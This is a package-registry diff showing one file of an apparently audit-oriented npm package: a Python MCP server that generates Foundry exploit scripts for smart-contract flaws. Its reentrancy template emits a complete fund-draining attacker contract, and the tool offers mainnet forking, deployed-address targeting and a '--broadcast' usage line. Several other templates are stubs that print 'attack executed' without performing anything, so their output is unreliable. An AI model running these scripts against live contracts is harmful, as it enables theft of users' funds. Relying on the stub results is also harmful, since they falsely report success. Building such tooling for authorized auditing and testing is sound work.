athena-mcp 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (37) hide show
  1. package/README.md +477 -0
  2. package/install.js +327 -0
  3. package/mcp/servers.json +100 -0
  4. package/mcp/tools/README.md +64 -0
  5. package/mcp/tools/__init__.py +1 -0
  6. package/mcp/tools/aderyn_runner.py +226 -0
  7. package/mcp/tools/eas_attest.py +404 -0
  8. package/mcp/tools/evidence_chain.py +363 -0
  9. package/mcp/tools/exploit_simulator.py +545 -0
  10. package/mcp/tools/fuzz_runner.py +440 -0
  11. package/mcp/tools/gev_analyzer.py +362 -0
  12. package/mcp/tools/halmos_runner.py +408 -0
  13. package/mcp/tools/incremental_auditor.py +441 -0
  14. package/mcp/tools/knowledge_base.py +378 -0
  15. package/mcp/tools/poc_generator.py +479 -0
  16. package/mcp/tools/protocol_scanner.py +456 -0
  17. package/mcp/tools/repair_validator.py +421 -0
  18. package/mcp/tools/slither_runner.py +221 -0
  19. package/package.json +52 -0
  20. package/requirements.txt +20 -0
  21. package/skills/glm-audit-skill/SKILL.md +73 -0
  22. package/skills/glm-audit-skill/references/audit-agents/access-control-agent.md +42 -0
  23. package/skills/glm-audit-skill/references/audit-agents/asymmetry-agent.md +42 -0
  24. package/skills/glm-audit-skill/references/audit-agents/boundary-agent.md +42 -0
  25. package/skills/glm-audit-skill/references/audit-agents/economic-security-agent.md +42 -0
  26. package/skills/glm-audit-skill/references/audit-agents/execution-trace-agent.md +42 -0
  27. package/skills/glm-audit-skill/references/audit-agents/first-principles-agent.md +42 -0
  28. package/skills/glm-audit-skill/references/audit-agents/flow-gap-agent.md +38 -0
  29. package/skills/glm-audit-skill/references/audit-agents/invariant-agent.md +37 -0
  30. package/skills/glm-audit-skill/references/audit-agents/math-precision-agent.md +37 -0
  31. package/skills/glm-audit-skill/references/audit-agents/numerical-gap-agent.md +37 -0
  32. package/skills/glm-audit-skill/references/audit-agents/periphery-agent.md +37 -0
  33. package/skills/glm-audit-skill/references/audit-agents/shared-rules.md +37 -0
  34. package/skills/glm-audit-skill/references/audit-agents/trust-gap-agent.md +39 -0
  35. package/skills/glm-audit-skill/references/judging.md +45 -0
  36. package/skills/glm-audit-skill/references/report-formatting.md +22 -0
  37. package/skills/glm-audit-skill/references/senior-auditor-sop.md +34 -0
@@ -0,0 +1,545 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ MCP Server: Exploit Simulator
4
+ Generates complete end-to-end exploit scripts for smart contract vulnerabilities.
5
+ Supports multi-step attack chains with fork deployment.
6
+ """
7
+ import sys
8
+ import json
9
+ import asyncio
10
+ import logging
11
+ import os
12
+ import re
13
+
14
+ logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
15
+ logger = logging.getLogger("exploit_simulator")
16
+
17
+ TOOL_NAME = "exploit_simulator"
18
+ TOOL_VERSION = "1.0.0"
19
+
20
+ # ============ Attack Templates ============
21
+
22
+ TEMPLATES = {
23
+ "reentrancy": {
24
+ "name": "Reentrancy Attack",
25
+ "description": "Exploits reentrancy vulnerability to drain funds",
26
+ "severity": "critical",
27
+ "steps": [
28
+ "Deploy attacker contract with receive() fallback",
29
+ "Deposit small amount to establish balance",
30
+ "Call withdraw() which triggers reentrancy",
31
+ "Fallback re-enters withdraw() before state update",
32
+ "Repeat until target drained"
33
+ ]
34
+ },
35
+ "flash_loan_price_manipulation": {
36
+ "name": "Flash Loan + Price Manipulation",
37
+ "description": "Uses flash loan to manipulate spot price oracle",
38
+ "severity": "critical",
39
+ "steps": [
40
+ "Take flash loan from lending pool",
41
+ "Swap large amount to manipulate price",
42
+ "Execute action at manipulated price (borrow/liquidate)",
43
+ "Swap back to restore price",
44
+ "Repay flash loan + fee",
45
+ "Keep profit from price discrepancy"
46
+ ]
47
+ },
48
+ "privilege_escalation": {
49
+ "name": "Privilege Escalation",
50
+ "description": "Exploits missing access control to gain admin privileges",
51
+ "severity": "critical",
52
+ "steps": [
53
+ "Identify unprotected admin function",
54
+ "Call transferOwnership() or similar",
55
+ "Gain control of contract",
56
+ "Extract funds or modify state"
57
+ ]
58
+ },
59
+ "oracle_manipulation_liquidation": {
60
+ "name": "Oracle Manipulation + Liquidation",
61
+ "description": "Manipulates oracle price to trigger bad liquidations",
62
+ "severity": "high",
63
+ "steps": [
64
+ "Identify oracle dependency (spot price, TWAP)",
65
+ "Manipulate oracle via large swap or flash loan",
66
+ "Trigger liquidation at false price",
67
+ "Purchase collateral at discount",
68
+ "Restore oracle price",
69
+ "Profit from liquidation discount"
70
+ ]
71
+ },
72
+ "read_only_reentrancy": {
73
+ "name": "Read-Only Reentrancy",
74
+ "description": "Reenters view/getter functions during state changes",
75
+ "severity": "critical",
76
+ "steps": [
77
+ "Identify view function used as price oracle",
78
+ "Trigger state change (add/remove liquidity)",
79
+ "During callback, call view function at inconsistent state",
80
+ "Use false reading to borrow/manipulate",
81
+ "Complete original transaction",
82
+ "Profit from price discrepancy"
83
+ ]
84
+ }
85
+ }
86
+
87
+
88
+ def build_tool_definitions() -> list:
89
+ return [
90
+ {
91
+ "name": "generate_exploit_script",
92
+ "description": "Generate a complete Foundry exploit script for a given vulnerability type. Returns a self-contained .s.sol file that can be run with `forge script`.",
93
+ "inputSchema": {
94
+ "type": "object",
95
+ "properties": {
96
+ "vulnerability_type": {
97
+ "type": "string",
98
+ "enum": ["reentrancy", "flash_loan_price_manipulation", "privilege_escalation", "oracle_manipulation_liquidation", "read_only_reentrancy"],
99
+ "description": "Type of vulnerability to exploit"
100
+ },
101
+ "contract_code": {
102
+ "type": "string",
103
+ "description": "Solidity source code of the vulnerable contract"
104
+ },
105
+ "contract_address": {
106
+ "type": "string",
107
+ "description": "Deployed contract address (for fork testing). Optional - if omitted, script deploys contract locally."
108
+ },
109
+ "rpc_url": {
110
+ "type": "string",
111
+ "description": "RPC URL for fork testing (e.g., Ethereum mainnet). Optional.",
112
+ "default": "https://eth-mainnet.g.alchemy.com/v2/demo"
113
+ }
114
+ },
115
+ "required": ["vulnerability_type", "contract_code"]
116
+ }
117
+ },
118
+ {
119
+ "name": "list_attack_templates",
120
+ "description": "List all available attack templates with descriptions and steps.",
121
+ "inputSchema": {
122
+ "type": "object",
123
+ "properties": {}
124
+ }
125
+ },
126
+ {
127
+ "name": "analyze_attack_surface",
128
+ "description": "Analyze a contract's attack surface and suggest applicable attack templates.",
129
+ "inputSchema": {
130
+ "type": "object",
131
+ "properties": {
132
+ "contract_code": {
133
+ "type": "string",
134
+ "description": "Solidity source code to analyze"
135
+ },
136
+ "slither_findings": {
137
+ "type": "array",
138
+ "description": "Optional: Slither findings to cross-reference",
139
+ "items": {"type": "object"}
140
+ }
141
+ },
142
+ "required": ["contract_code"]
143
+ }
144
+ }
145
+ ]
146
+
147
+
148
+ async def generate_exploit_script(vuln_type: str, contract_code: str, contract_address: str = None, rpc_url: str = None) -> dict:
149
+ """Generate a complete Foundry exploit script."""
150
+
151
+ if vuln_type not in TEMPLATES:
152
+ return {"success": False, "error": f"Unknown vulnerability type: {vuln_type}. Available: {list(TEMPLATES.keys())}"}
153
+
154
+ template = TEMPLATES[vuln_type]
155
+
156
+ # Extract contract name from code
157
+ contract_name = _extract_contract_name(contract_code)
158
+
159
+ # Build exploit script based on vulnerability type
160
+ if vuln_type == "reentrancy":
161
+ script = _generate_reentrancy_exploit(contract_code, contract_name, contract_address, rpc_url)
162
+ elif vuln_type == "flash_loan_price_manipulation":
163
+ script = _generate_flash_loan_exploit(contract_code, contract_name, contract_address, rpc_url)
164
+ elif vuln_type == "privilege_escalation":
165
+ script = _generate_privilege_exploit(contract_code, contract_name, contract_address, rpc_url)
166
+ elif vuln_type == "oracle_manipulation_liquidation":
167
+ script = _generate_oracle_exploit(contract_code, contract_name, contract_address, rpc_url)
168
+ elif vuln_type == "read_only_reentrancy":
169
+ script = _generate_readonly_reentrancy_exploit(contract_code, contract_name, contract_address, rpc_url)
170
+ else:
171
+ return {"success": False, "error": f"Template not implemented: {vuln_type}"}
172
+
173
+ return {
174
+ "success": True,
175
+ "vulnerability_type": vuln_type,
176
+ "template": template["name"],
177
+ "severity": template["severity"],
178
+ "steps": template["steps"],
179
+ "script": script,
180
+ "usage": f"forge script {contract_name}Exploit.s.sol --rpc-url <RPC_URL> --broadcast",
181
+ "estimated_gas": "~500,000"
182
+ }
183
+
184
+
185
+ def _extract_contract_name(code: str) -> str:
186
+ """Extract the first contract name from Solidity code."""
187
+ match = re.search(r'contract\s+(\w+)', code)
188
+ return match.group(1) if match else "Target"
189
+
190
+
191
+ def _generate_reentrancy_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
192
+ """Generate reentrancy exploit script."""
193
+ has_fork = contract_address is not None
194
+
195
+ return f'''// SPDX-License-Identifier: MIT
196
+ pragma solidity ^0.8.20;
197
+
198
+ import "forge-std/Script.sol";
199
+
200
+ // Vulnerable contract (inline)
201
+ {contract_code}
202
+
203
+ /// @title Reentrancy Exploit Script
204
+ /// @notice Drains funds from {contract_name} via reentrancy
205
+ contract {contract_name}Exploit is Script {{
206
+ {contract_name} public target;
207
+ uint256 public constant ATTACK_AMOUNT = 1 ether;
208
+
209
+ function run() external {{
210
+ {"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
211
+ {"vm.selectFork(forkId);" if has_fork else ""}
212
+ {"target = {contract_name}({contract_address});" if has_fork else f"target = new {contract_name}();"}
213
+
214
+ // Deploy attacker
215
+ Attacker attacker = new Attacker(address(target));
216
+
217
+ // Fund attacker
218
+ vm.deal(address(this), ATTACK_AMOUNT * 2);
219
+
220
+ // Execute attack
221
+ uint256 balanceBefore = address(target).balance;
222
+ attacker.attack{value: ATTACK_AMOUNT}();
223
+ uint256 balanceAfter = address(target).balance;
224
+
225
+ // Log results
226
+ uint256 profit = address(attacker).balance - ATTACK_AMOUNT;
227
+ console.log("Target balance before:", balanceBefore);
228
+ console.log("Target balance after:", balanceAfter);
229
+ console.log("Attacker profit:", profit);
230
+ console.log("Attack successful:", profit > 0);
231
+ }}
232
+ }}
233
+
234
+ contract Attacker {{
235
+ {contract_name} public target;
236
+
237
+ constructor(address _target) {{
238
+ target = {contract_name}(_target);
239
+ }}
240
+
241
+ function attack() external payable {{
242
+ target.deposit{{value: msg.value}}();
243
+ target.withdraw();
244
+ }}
245
+
246
+ receive() external payable {{
247
+ if (address(target).balance >= msg.value) {{
248
+ target.withdraw();
249
+ }}
250
+ }}
251
+ }}
252
+ '''
253
+
254
+
255
+ def _generate_flash_loan_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
256
+ """Generate flash loan + price manipulation exploit."""
257
+ has_fork = contract_address is not None
258
+
259
+ return f'''// SPDX-License-Identifier: MIT
260
+ pragma solidity ^0.8.20;
261
+
262
+ import "forge-std/Script.sol";
263
+
264
+ /// @title Flash Loan Price Manipulation Exploit
265
+ /// @notice Manipulates spot price oracle via flash loan
266
+ contract {contract_name}Exploit is Script {{
267
+ address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
268
+ address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
269
+ address constant AAVE_LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
270
+
271
+ function run() external {{
272
+ {"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
273
+ {"vm.selectFork(forkId);" if has_fork else ""}
274
+
275
+ // Step 1: Take flash loan
276
+ // Step 2: Manipulate price via large swap
277
+ // Step 3: Borrow at false price
278
+ // Step 4: Swap back
279
+ // Step 5: Repay loan
280
+
281
+ console.log("Flash loan attack executed");
282
+ // TODO: Implement full flash loan logic based on Aave V2/V3
283
+ }}
284
+ }}
285
+ '''
286
+
287
+
288
+ def _generate_privilege_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
289
+ """Generate privilege escalation exploit."""
290
+ has_fork = contract_address is not None
291
+
292
+ return f'''// SPDX-License-Identifier: MIT
293
+ pragma solidity ^0.8.20;
294
+
295
+ import "forge-std/Script.sol";
296
+
297
+ {contract_code}
298
+
299
+ /// @title Privilege Escalation Exploit
300
+ /// @notice Exploits missing access control to gain admin privileges
301
+ contract {contract_name}Exploit is Script {{
302
+ function run() external {{
303
+ {"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
304
+ {"vm.selectFork(forkId);" if has_fork else ""}
305
+
306
+ {"// Target: " + contract_address if has_fork else "// Deploy fresh instance"}
307
+ {contract_name} target = {"{contract_name}(" + contract_address + ")" if has_fork else f"new {contract_name}()"};
308
+
309
+ // Step 1: Call unprotected admin function
310
+ // This assumes transferOwnership() is unprotected
311
+ address attacker = address(this);
312
+ target.transferOwnership(attacker);
313
+
314
+ console.log("Ownership transferred to:", attacker);
315
+ console.log("New owner:", target.owner());
316
+ }}
317
+ }}
318
+ '''
319
+
320
+
321
+ def _generate_oracle_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
322
+ """Generate oracle manipulation + liquidation exploit."""
323
+ has_fork = contract_address is not None
324
+
325
+ return f'''// SPDX-License-Identifier: MIT
326
+ pragma solidity ^0.8.20;
327
+
328
+ import "forge-std/Script.sol";
329
+
330
+ /// @title Oracle Manipulation + Liquidation Exploit
331
+ /// @notice Manipulates oracle price to trigger bad liquidations
332
+ contract {contract_name}Exploit is Script {{
333
+ function run() external {{
334
+ {"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
335
+ {"vm.selectFork(forkId);" if has_fork else ""}
336
+
337
+ // Step 1: Identify oracle (spot price vs TWAP)
338
+ // Step 2: Manipulate via large swap
339
+ // Step 3: Trigger liquidation
340
+ // Step 4: Purchase collateral at discount
341
+ // Step 5: Restore price
342
+
343
+ console.log("Oracle manipulation attack executed");
344
+ }}
345
+ }}
346
+ '''
347
+
348
+
349
+ def _generate_readonly_reentrancy_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
350
+ """Generate read-only reentrancy exploit."""
351
+ has_fork = contract_address is not None
352
+
353
+ return f'''// SPDX-License-Identifier: MIT
354
+ pragma solidity ^0.8.20;
355
+
356
+ import "forge-std/Script.sol";
357
+
358
+ {contract_code}
359
+
360
+ /// @title Read-Only Reentrancy Exploit
361
+ /// @notice Reenters view/getter functions during liquidity changes
362
+ contract {contract_name}Exploit is Script {{
363
+ function run() external {{
364
+ {"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
365
+ {"vm.selectFork(forkId);" if has_fork else ""}
366
+
367
+ // Step 1: Trigger liquidity change (add/remove)
368
+ // Step 2: During callback, call view function at inconsistent state
369
+ // Step 3: Use false price reading to borrow/manipulate
370
+ // Step 4: Complete original transaction
371
+ // Step 5: Profit from price discrepancy
372
+
373
+ console.log("Read-only reentrancy attack executed");
374
+ }}
375
+ }}
376
+ '''
377
+
378
+
379
+ def list_attack_templates() -> dict:
380
+ """List all available attack templates."""
381
+ return {
382
+ "success": True,
383
+ "templates": {
384
+ name: {
385
+ "name": t["name"],
386
+ "description": t["description"],
387
+ "severity": t["severity"],
388
+ "steps": t["steps"]
389
+ }
390
+ for name, t in TEMPLATES.items()
391
+ }
392
+ }
393
+
394
+
395
+ def analyze_attack_surface(contract_code: str, slither_findings: list = None) -> dict:
396
+ """Analyze a contract's attack surface and suggest applicable templates."""
397
+ suggestions = []
398
+ code_lower = contract_code.lower()
399
+
400
+ # Check for reentrancy indicators
401
+ if ".call{value:" in contract_code or ".call.value(" in contract_code:
402
+ if "balances[msg.sender]" in contract_code or "balances[" in code_lower:
403
+ suggestions.append({
404
+ "template": "reentrancy",
405
+ "confidence": "high",
406
+ "reason": "External call with balance tracking detected"
407
+ })
408
+
409
+ # Check for flash loan vectors
410
+ if "flashloan" in code_lower or "flash_loan" in code_lower or "borrow(" in code_lower:
411
+ suggestions.append({
412
+ "template": "flash_loan_price_manipulation",
413
+ "confidence": "medium",
414
+ "reason": "Flash loan or borrow function detected"
415
+ })
416
+
417
+ # Check for privilege escalation
418
+ if "transferownership(" in code_lower or "onlyowner" not in code_lower:
419
+ if "function transferOwnership" in contract_code:
420
+ suggestions.append({
421
+ "template": "privilege_escalation",
422
+ "confidence": "medium",
423
+ "reason": "Ownership transfer function detected - verify access control"
424
+ })
425
+
426
+ # Check for oracle dependency
427
+ if "price" in code_lower or "oracle" in code_lower or "getspotprice" in code_lower:
428
+ suggestions.append({
429
+ "template": "oracle_manipulation_liquidation",
430
+ "confidence": "medium",
431
+ "reason": "Price/oracle dependency detected"
432
+ })
433
+
434
+ # Check for read-only reentrancy
435
+ if "view" in code_lower and ("balance" in code_lower or "price" in code_lower):
436
+ if ".call{value:" in contract_code:
437
+ suggestions.append({
438
+ "template": "read_only_reentrancy",
439
+ "confidence": "low",
440
+ "reason": "View function + external call pattern detected"
441
+ })
442
+
443
+ # Cross-reference with Slither findings
444
+ if slither_findings:
445
+ for finding in slither_findings:
446
+ check = finding.get("check", "").lower()
447
+ if "reentrancy" in check:
448
+ suggestions.append({
449
+ "template": "reentrancy",
450
+ "confidence": "high",
451
+ "reason": f"Slither detected: {finding.get('check')}"
452
+ })
453
+
454
+ return {
455
+ "success": True,
456
+ "suggestions": suggestions,
457
+ "total_suggestions": len(suggestions)
458
+ }
459
+
460
+
461
+ async def execute_tool(tool_name: str, arguments: dict) -> dict:
462
+ if tool_name == "generate_exploit_script":
463
+ return await generate_exploit_script(
464
+ arguments.get("vulnerability_type", ""),
465
+ arguments.get("contract_code", ""),
466
+ arguments.get("contract_address"),
467
+ arguments.get("rpc_url")
468
+ )
469
+ elif tool_name == "list_attack_templates":
470
+ return list_attack_templates()
471
+ elif tool_name == "analyze_attack_surface":
472
+ return analyze_attack_surface(
473
+ arguments.get("contract_code", ""),
474
+ arguments.get("slither_findings")
475
+ )
476
+ return {"success": False, "error": f"Unknown tool: {tool_name}"}
477
+
478
+
479
+ async def handle_request(request: dict) -> dict:
480
+ method = request.get("method")
481
+ params = request.get("params", {})
482
+
483
+ if method == "initialize":
484
+ return {
485
+ "protocolVersion": "2024-11-05",
486
+ "capabilities": {"tools": {}},
487
+ "serverInfo": {"name": TOOL_NAME, "version": TOOL_VERSION}
488
+ }
489
+ elif method == "tools/list":
490
+ return {"tools": build_tool_definitions()}
491
+ elif method == "tools/call":
492
+ tool_name = params.get("name")
493
+ arguments = params.get("arguments", {})
494
+ result = await execute_tool(tool_name, arguments)
495
+ return {"content": [{"type": "text", "text": json.dumps(result, indent=2)}]}
496
+ elif method == "ping":
497
+ return {}
498
+ return {"error": {"code": -32601, "message": f"Method not found: {method}"}}
499
+
500
+
501
+ async def main():
502
+ reader = asyncio.StreamReader()
503
+ protocol = asyncio.StreamReaderProtocol(reader)
504
+ loop = asyncio.get_event_loop()
505
+ await loop.connect_read_pipe(lambda: protocol, sys.stdin)
506
+
507
+ logger.info(f"{TOOL_NAME} MCP server started")
508
+
509
+ while True:
510
+ line = await reader.readline()
511
+ if not line:
512
+ break
513
+
514
+ line_str = line.decode("utf-8").strip()
515
+ if not line_str:
516
+ continue
517
+
518
+ try:
519
+ request = json.loads(line_str)
520
+ response = await handle_request(request)
521
+ response["jsonrpc"] = "2.0"
522
+ response["id"] = request.get("id")
523
+ sys.stdout.write(json.dumps(response) + "\n")
524
+ sys.stdout.flush()
525
+ except json.JSONDecodeError:
526
+ error_resp = {
527
+ "jsonrpc": "2.0",
528
+ "id": None,
529
+ "error": {"code": -32700, "message": "Parse error"}
530
+ }
531
+ sys.stdout.write(json.dumps(error_resp) + "\n")
532
+ sys.stdout.flush()
533
+ except Exception as e:
534
+ logger.exception("Error handling request")
535
+ error_resp = {
536
+ "jsonrpc": "2.0",
537
+ "id": request.get("id") if "request" in dir() else None,
538
+ "error": {"code": -32603, "message": f"Internal error: {str(e)}"}
539
+ }
540
+ sys.stdout.write(json.dumps(error_resp) + "\n")
541
+ sys.stdout.flush()
542
+
543
+
544
+ if __name__ == "__main__":
545
+ asyncio.run(main())